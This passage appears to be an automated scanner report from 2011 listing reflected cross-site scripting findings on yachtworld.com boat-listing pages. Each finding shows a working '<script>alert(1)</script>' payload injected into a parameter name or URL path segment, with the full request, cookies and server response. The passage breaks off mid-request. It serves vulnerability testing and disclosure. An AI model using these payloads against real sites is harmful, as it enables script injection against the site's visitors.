VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:28 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 07 Sep 2010 20:17:05 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2030806%5B%25%5D32%27+Regulator+Center+console%5B%25%5DUSD%26nbsp%3B159%2C500%5B%25%5DVA%2C+United+States%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F0%2F3%2F0%2F8%2F2030806_9_mini.jpg%3F1281995171000%5B%25%5D%2Fboats%2F2007%2FRegulator-Center-console-2030806%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:28 GMT Set-Cookie: VIEWED_BOATS_STORE=2030806%5B%25%5D32%27+Regulator+Center+console%5B%25%5DUSD%26nbsp%3B159%2C500%5B%25%5DVA%2C+United+States%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F0%2F3%2F0%2F8%2F2030806_9_mini.jpg%3F1281995171000%5B%25%5D%2Fboats%2F2007%2FRegulator-Center-console-2030806%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.156. http://www.yachtworld.com/boats/2007/Regulator-Center-Console-2030806/VA/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6888"><script>alert(1)</script>8b4250a20fa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2007/Regulator-Center-Console-2030806/VA/United-States?e6888"><script>alert(1)</script>8b4250a20fa=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:02:56 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 07 Sep 2010 20:17:05 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2030806%5B%25%5D32%27+Regulator+Center+console%5B%25%5DUSD%26nbsp%3B159%2C500%5B%25%5DVA%2C+United+States%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F0%2F3%2F0%2F8%2F2030806_9_mini.jpg%3F1281995171000%5B%25%5D%2Fboats%2F2007%2FRegulator-Center-console-2030806%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:02:55 GMT Set-Cookie: VIEWED_BOATS_STORE=2030806%5B%25%5D32%27+Regulator+Center+console%5B%25%5DUSD%26nbsp%3B159%2C500%5B%25%5DVA%2C+United+States%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F0%2F3%2F0%2F8%2F2030806_9_mini.jpg%3F1281995171000%5B%25%5D%2Fboats%2F2007%2FRegulator-Center-console-2030806%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72d5c"><script>alert(1)</script>fd63f2294c2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2008/Regulator-32-Classic-2250145/Babylon72d5c"><script>alert(1)</script>fd63f2294c2/NY/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:47 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 27 Jan 2011 17:33:34 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2250145%5B%25%5D32%27+Regulator+32+Classic%5B%25%5DUSD%26nbsp%3B159%2C900%5B%25%5DBabylon%2C+NY%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F0%2F1%2F2250145_1_mini.jpg%3F1282409230000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-Classic-2250145%2FBabylon%2FNY%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:47 GMT Set-Cookie: VIEWED_BOATS_STORE=2250145%5B%25%5D32%27+Regulator+32+Classic%5B%25%5DUSD%26nbsp%3B159%2C900%5B%25%5DBabylon%2C+NY%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F0%2F1%2F2250145_1_mini.jpg%3F1282409230000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-Classic-2250145%2FBabylon%2FNY%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17a58"><script>alert(1)</script>037c2766c59 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2008/Regulator-32-Classic-2250145/Babylon/NY17a58"><script>alert(1)</script>037c2766c59/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 